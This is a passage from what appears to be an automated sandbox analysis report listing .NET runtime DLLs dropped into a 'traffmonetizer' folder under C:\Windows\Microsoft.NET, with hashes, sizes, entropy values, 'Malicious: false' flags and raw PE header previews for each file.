SHA-512:	17558306A611BFAC6982D5650335B05EA407191290B653C028896142EBEE2ABCEB22F7D71926FBBCC3FAB8227C61A5FDA0E770ABFCA021AC7F891C9C7EE42E81
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................n....@..................................(..O....@.. ................>...`......t'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~..,...P...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................~.....R..... .....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.827241992748525
Encrypted:	false
SSDEEP:	384:puMLcdQ5MW9MWf+109m0GftpBjMR5aQHRN7Ljl78oSwDnuB3:AOcSpxVi2Lhawi
MD5:	C5CADB1409F25B6A1C7A6DD4C2DF236B
SHA1:	A994C87352486D433A06943C01329DD721AB343F
SHA-256:	F600ACC811720183C639CEBE5618BAF9C8135B85B9CBDC0758BC9B2DCC6DD7A9
SHA-512:	6BD6E482533B9FF8FFF8823F84CDE7191A0FD5575F76891A95E99CD1F5C1122EF92B436745EC9583089445FD5EAC795181759080B1D83CCFA1EED31D9CCE3AF0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............,... ...@....... ..............................`.....@..................................+..O....@...................>...`...................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P .............................................................BSJB............v4.0.30319......l.......#~..p...0...#Strings............#US.........#GUID...........#Blob......................3................................................;.........................$.....$.....$.....$...[.$...t.$.....$.....$.........g.$.....#...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21744
Entropy (8bit):	6.8850738754620915
Encrypted:	false
SSDEEP:	384:3Z7RqXWDRqlRqj0RqFWX5Twm0GftpBjGRqazmHaQHRN76RqIil3uVogC:J9qKqjqjuq0wViGqRLoqItV7C
MD5:	AC2F4B435DDF0600D7A866F42F3B40D9
SHA1:	0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6
SHA-256:	B56FFB65B842DAAE13F3020B0B04646DB92F89801D2A2F89087D145A996D43F7
SHA-512:	DC3E9C3B4D732801DCF43CFD6CDD2672F01E03CB99D804A3F4803FDDB9CA9817BCFD2F96FD94B7B33DB0994F5478CE200C048DB5DBB78D3B24E950262EBF4D28
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................X..O....@..P................>...`...... )............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ..P....................(......................................BSJB............v4.0.30319......l...L...#~......l...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0.....%.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25992
Entropy (8bit):	6.72175242984799
Encrypted:	false
SSDEEP:	384:MNBMbljRC+lgfS1RPWYR1Rw0R9WYRPWYRDRj0R9WQDzDm0GftpBjeXRsTUbaQHR/:MvMhF2SzNzwu/Nlju/ViCLLsBy
MD5:	C7C93DE0627833900B8379FD181B7351
SHA1:	2CB98F9622F57A0A9E037A378519AA6A271302F6
SHA-256:	C7E91BD148ED22EE1FF8EBD3E58B199A30AF90AA37499BCF8DA34409672F2ED9
SHA-512:	1067BACC4495EACBC27937B54780B97DA62FED1AF66158E2FA492FC82B068D49BB49BC20C3C82C22D8EDD300BD7B097E14AA1E317F1789744E188BCA15D22B4D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............6... ...@....... ...............................x....@.................................a6..O....@...............&...?...`.......5............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................6......H........"..H............4......(5........................................o...."..o......o...."..o....j~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(.......0..K........-.r1..ps....z. ...@3.(..... ....3.(....*. ...._,.(....rI..ps..

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.947656997583423
Encrypted:	false
SSDEEP:	384:gZ4RLWdRfRJ0RZWw+109m0GftpBjPWR+HaQHRN71RNl78oSwDnud:gZK0pJujViFc6LzrawS
MD5:	AE023BB0BEEE5189A07C7FD4E0CF3FCA
SHA1:	846711D4161A3950FACDEF97037898A71F4EFDA1
SHA-256:	56BD0C02C734ABF4D7FD1EF2E8B6A9E4BF5E4BAB4E606CD1023D63B02852FA61
SHA-512:	62305027AE8BB5B830630FE54F2CF9E607F9B97FFE28912C2CB15D429252668F17EAF2D7CEECF5601C889D5EA52E0B9100F115173BB11B5D6208171792833C85
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................PI....@..................................)..O....@...................>...`......h(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3......................................................m.....A.{.........U.................T...........#.....l...........>.....'...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.866908604521752
Encrypted:	false
SSDEEP:	384:OYWsmWs+109m0GftpBjncaQHRN7QlgaGn7G7:O28ViGLMGG
MD5:	BB1A520F25BB93ACE4DD0A060FBA677D
SHA1:	92BF07CCF32EB9FDF06F446A256E0271C4028BF0
SHA-256:	7720EE13405EA8A3C204703A181E67DC6D66835E9DF263C09D04D8B48B41EB26
SHA-512:	9288148EC879EBEAFD53C225854EE3BD3768BA5C7B829D6AF1251D20AC301FC27A04BEBB603FE2CDE6949BC5968FDE717E8B747337C1AD872450D26F7C36F515
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*(... ...@....... ..............................'.....@..................................'..O....@..@................>...`.......&............................................... ............... ..H............text...0.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ...................... &......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................z.....N.....".....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........:.....C.....b...#.k...+.k...3.k...;.....C.....K.....S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	110944
Entropy (8bit):	6.427912093819953
Encrypted:	false
SSDEEP:	1536:lvc/U5yNq2oS4Zd0LE3YigSFvhoZO2K3aAYH2TfXmNoJXrVDCa8:Jgk1tiLMYiDFvxqrWDWNoJXJ2p
MD5:	33B8972FA6B00B8922210CA95E5745D1
SHA1:	609F31B98831327677E89E08BFF7D7322BA0F4A4
SHA-256:	DA18D61BB6B7D35C56CB4F392FAE0844CCA73F72A043A08994BECCB531FF3B77
SHA-512:	F85F03E20C8CE40BCF28D883CCD80CED755BF75D515FA66986963F0F4F5AD00BB1823D8C100A75323147B28A4916DD6C598102B18999AEB7B358C196AF4206DA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..d...........W... ........... ...................................@.................................5W..O....................r..`?...........V............................................... ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............p..............@..B................iW......H........................9.......V......................................j~....%-.&(I...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r7..p.(....2rs..p.(....2r...p.(....2r...p.(....2r...p.(....2r=..p.(....2r_..p.(....2r...p.(....2r...p.(....*2r...

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.918416126337718
Encrypted:	false
SSDEEP:	384:uKcuz1W1cWW+109m0GftpBjFGAaQHRN7PlBLY6fJ:6u8AVi5LvYc
MD5:	2FCB2158FC41D97E2BB71953664B99B9
SHA1:	16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86
SHA-256:	984575C44CAB17D46587AF6CC8C22C409B79BEC280FD771E6AF93A0A0C20E5B0
SHA-512:	1527A426F8EC9931573468929966E102012B630EC4AA370C196B2B87472BCEE696B00355ADAEB39B4151B986470F7DADA415E3F930D9678B68D3C531C8AC9B52
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@..P................>...`......H'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..x....................&......................................BSJB............v4.0.30319......l.......#~......H...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................................p.....D.....9.....X.................W...........&.....o...........A.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.918387036071988
Encrypted:	false
SSDEEP:	384:W+SWikWL+109m0GftpBjqaQHRN7Dh6l3uVogJ:W+e1ViILDHV7J
MD5:	51B07204081BDE29A1F84A3B48554186
SHA1:	FCA2F72C039937357099CA6E167330E540F8335D
SHA-256:	5C84DD40D67C0E59906511D2B09DA8E28C454B5979EB5FDE74213F9D4BDBC564
SHA-512:	099EC1B84FCF6BF07142AD8CD34307C80F19A64C754ADE505AB55707075A764FBE7BFA4CE2FBAEAA09B3E61EBDB6E3D116608DF0CF77BC076C7B3119DB37A324
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................>...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....h.......#US.l.......#GUID...\|.......#Blob......................3......................................................y.....M...........a.................`.........../.....x...........J.....3...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.9502839815242545
Encrypted:	false
SSDEEP:	384:fAWzgWw+109m0GftpBjeQKaQHRN7Z0lO62gHcXC:ftCVisdLzg8S
MD5:	3772A3A7E55178EC90ECB607ABA28511
SHA1:	68C240D1A43DE1678EF13107B9300C544E9D5E4E
SHA-256:	C9E2562F1A1B86ACDB6957CF916ACED9C4F8B71EBB16DFA0050252146205AD37
SHA-512:	245F12B4926114EBDB39A54628A1DF2501C4A27ABD531172CC63BC96298EE0F4BE5658AE95FE730C063EADFB1B664C7D201C69C2246CFBA23ED5A4FE7EF3D14E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................p)..O....@..@................>...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................C...f.C...:.0...c.....N.................M.................e...........7..... ................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.922388458113732
Encrypted:	false
SSDEEP:	384:9BLRWbYW+f+109m0GftpBjPIuaQHRN7RlgaGn7c:9B20zViFIuLxGQ
MD5:	BFCEB4FACA75681137455CD70F8038B6
SHA1:	BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E
SHA-256:	9A4595DBB128E2D8F373B3AC45478E7131F4D181B50EC821EC8CB88BD46BD5B8
SHA-512:	58D7E8D6FA237A6EAC018C0A88D6BF76AD9EE49B6A6790B64E68C33EBF80AFCB4223881AAC6821132B877E7D848BC917EB9490590CDB297F362C9B43143D6713
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............b)... ...@....... ...................................@..................................)..O....@...................>...`.......'............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US.........#GUID...........#Blob......................3................................................../...z./...N.....O.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.911523435668273
Encrypted:	false
SSDEEP:	384:2HW4/WJvT1Dm0GftpBjE3aQHRN76RlTZVkuu:2ry1DViu3L6HZVC
MD5:	AB8D293BCD7A13E83565B4AFA8438988
SHA1:	48F227C62B2001C441BCBC5B570911F096DDF421
SHA-256:	0E80A2E256D16E487BC847D1857ED7CD088F176254BA2A385D675338B836B0FC
SHA-512:	443DD75234C043DE736423466C1FC2FF2BD9B6B9FE753521C3C225DE99F5A7D3828A470CF8EA54678A86681949E5DCD1DE1EAB35BF0F348F758FA099A9092F54
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................>...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\...#Strings....`.......#US.d.......#GUID...t.......#Blob......................3..................................................+.....+...^.....K.....r.................q.....'.....@.................[.....D...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.952503401221548
Encrypted:	false
SSDEEP:	384:Gvk7hWmCWXC7Bm0GftpBjyuGaaQHRN70EflO62gHcXm:Gs7/+Vi1GaLIg82
MD5:	34E21101FAF71A27C6819CC051DEBC9D
SHA1:	D9DF77B4993418337894FF04C6B813224B9F8543
SHA-256:	81B6527AC2D18782AC24AE463C11DD1D70AB1BC89F626B7347A592229B371A1D
SHA-512:	AA339F2489CA9BC9EF7F6121C9586DBD8F5AD2CA5A160A3BCAC74B908570EC2FC0BC24E0EC33AE9DE9D6A6C3557EC2816FE8E89FFCA93E310503F6F83A691F6D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................!.....@.................................h)..O....@..0................>...`......0(............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................)......H.......P ..`....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....8.......#US.<.......#GUID...L.......#Blob......................3................................................ .C.....C...w.0...c.............................@.....Y.................t.....]................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.8...K.X...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21168
Entropy (8bit):	6.934271103866825
Encrypted:	false
SSDEEP:	384:3GMWCUWm+109m0GftpBjG6VVaQHRN7Utl3uVog4a:33cVi0OVLUOV73
MD5:	58A2E5AC0510B9223236B9317C505B58
SHA1:	A00954217CA326C54A863D451820263A6D7EE1AF
SHA-256:	80A229B2917FC3A5D941FF9745A6BE0065028AFDF9509300410D2721C71F1198
SHA-512:	18736ECFE0EF0C477BF64F89CA97AF4578DEFC996F0A5BAD33D7A29AF6E09745E4B10D6D543243B9664E40169EE550C996E783C5FFBB0FC767DA7FFC63E13FB6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................P.....@.................................@)..O....@...................>...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................t)......H.......P ..8....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US. .......#GUID...0.......#Blob......................3..................................................].....]...T.J...}.....h.$.....$.....$...g.$.....$...6.$.....$.....$...Q.....:.$.................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;.....C.,...K.L...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.909892409390874
Encrypted:	false
SSDEEP:	384:sBhwI7WSQWfTwm0GftpBjGaQHRN7SRalgaGn7x:sDwIBxwVi0L3Gd
MD5:	D74405753F829E75E89BBA5EBC296112
SHA1:	474944856DB781A34796BFCCE18ECD4580275AD1
SHA-256:	86F1F12E47F260985B08BB966598123578EB5E48BEF9BB086F04E16E9D53BB32
SHA-512:	CDC5D49FCF0249C539E45C9917C152F130C8FEE975D97C2F62526F474CB779B2BF273195F4AA7A64F76DD2496528C0D021B56E60AAE2635606F9F55092CB47F4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................1W....@.................................l(..O....@..P................>...`......4'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..d....................&......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................f.....:.....2.....N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21144
Entropy (8bit):	6.936275464847822
Encrypted:	false
SSDEEP:	384:iyvPRW4lWkTwm0GftpBj8w0aQHRN7y3lBLY6f4:H39VwViGw0L0Yh
MD5:	809FDBD7422A3E02C89244DC530A3367
SHA1:	A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0
SHA-256:	C191A43029EDD4EB8EEE003356F1FE79AA45071C25433A7A3589590E9089EED9
SHA-512:	5232B7EF2B60A99BE2B027112078A7DEBF58BFA4308F4AE53DD9A96FA7BCCBB0927BEB7148E7A3944173F7820F9F519767539D1FDFEF848B6F1D6668BE11FC15
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................A.....@..................................)..O....@...................>...`......l(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................f.....:...........N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.&...K.F...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.8873536206529895
Encrypted:	false
SSDEEP:	384:j6RW6eW++109m0GftpBjeLUaQHRN7es2lGinGEx:j67aVi8ULzSN
MD5:	3B49BF361F3116DE28176B40845BC199
SHA1:	5627E53D15E56868DC9082EDCAE5A653B96B9AF1
SHA-256:	BF97F67165231C2A42B95F11D80337B082E2B2BE54351DA44C8A10C06194B369
SHA-512:	0FE87438ACD6C14401523987BE617A83DDFD2B42938FC52E0DA5F941F7DC70686CC6436EDD41C4998FD56D5F52D64ACFAB5010B96B1E80C084C4AB9F546202A8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............-... ...@....... ....................................@..................................-..O....@...................>...`......P,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................+......................................BSJB............v4.0.30319......l.......#~..\.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3......................................5.........c.............z...............(.....E.....................................Q.........../...........b.....b.....b...).b...1.b...9.b...A.b...I.b...Q.b...Y.b...a.b...i.b...q.b.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.913851684806603
Encrypted:	false
SSDEEP:	384:ISUP9W70WuvT1Dm0GftpBjluHJaQHRN7alxBGD0F:NUek1DViTupLMMc
MD5:	8BE0CAA60074176FA1E7E63C0AEB6C01
SHA1:	4D4AE0D2664025327F28400D917CC59AFD69F33A
SHA-256:	30A49D16436E3A05569C99A0C2D21755C2FA323C5B925F9F21C10287CC97D9C9
SHA-512:	057F21A7E7496343C06CC497A24E46E59218EAE1838885EEEF7391285CDE243AFE853155F52933959B40F40AA7028A289D15D279833208BBA42BF853D4DF91C6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................S.....@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID...........#Blob......................3..................................................&.....&...p.....F.............................9.....R.................m.....V...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.914858816124373
Encrypted:	false
SSDEEP:	384:m8yg07W0/WGC7Bm0GftpBj8xPoaQHRN7WE1l78oSwDnuaPJL:mBH2ViyoLW4awFRL
MD5:	E04CDB6229D83768285ACB08D870F23A
SHA1:	A181F5CC93E9273D9169A9954A74D73BC1852980
SHA-256:	719AC73BB261E0A13574F5A198126CCF40352264958DEFB555280D005134C704
SHA-512:	257FB07C0D86E292FE6FA88E03B29994CB9864C17A535CE7B366A728EAA4B3A803D88A23157CAA457D0B681A2C0D97DD7D9A2754300B73030D9A09C4E9004772
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................F....@..................................(..O....@...................>...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...d...#Strings............#US.........#GUID...........#Blob......................3.................................................."....."...m.....B.............................6.....O.................j.....S.......(...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21152
Entropy (8bit):	6.8927140284137165
Encrypted:	false
SSDEEP:	384:De1WmRWk+109m0GftpBjBpcQaQHRN7MAlgaGn7hw:Dej/ViOQL/Glw
MD5:	5E33930FE2E0867CB1F9FABEDDFBD7B1
SHA1:	4D93C7D7E6315CA2195ED73716996ADE8E17FBB2
SHA-256:	349C7FBE9AE2B78C2F90239BDDFCEA5B16A0FAAC1FE83553A816C50C3E9089B1
SHA-512:	8F87B5013E0CF3A776BFB1F1A68F316A28AF3CB6C74F0ADF3EAD6D5063525C6668B42C077549F66267130959A9CB986BF5F8E4242FC4EF36C356D6927F587A0F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................~.....@.................................p(..O....@...................>...`......8'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..h....................&......................................BSJB............v4.0.30319......l.......#~.. ...0...#Strings....P.......#US.T.......#GUID...d.......#Blob......................3............................................................f...........z.................y...../.....H.................c.....L.......,...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.(...K.H...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	141184
Entropy (8bit):	6.115495759785268
Encrypted:	false
SSDEEP:	3072:IUGrszKKLBFa9DvrJGeesIf3afNs2AldfI:jBFd3/aFs2
MD5:	6FB95A357A3F7E88ADE5C1629E2801F8
SHA1:	19BF79600B716523B5317B9A7B68760AE5D55741
SHA-256:	8E76318E8B06692ABF7DAB1169D27D15557F7F0A34D36AF6463EFF0FE21213C7
SHA-512:	293D8C709BC68D2C980A0DF423741CE06D05FF757077E63986D34CB6459F9623A024D12EF35A280F50D3D516D98ABE193213B9CA71BFDE2A9FE8753B1A6DE2F0
Malicious:	false
Reputation:	unknown
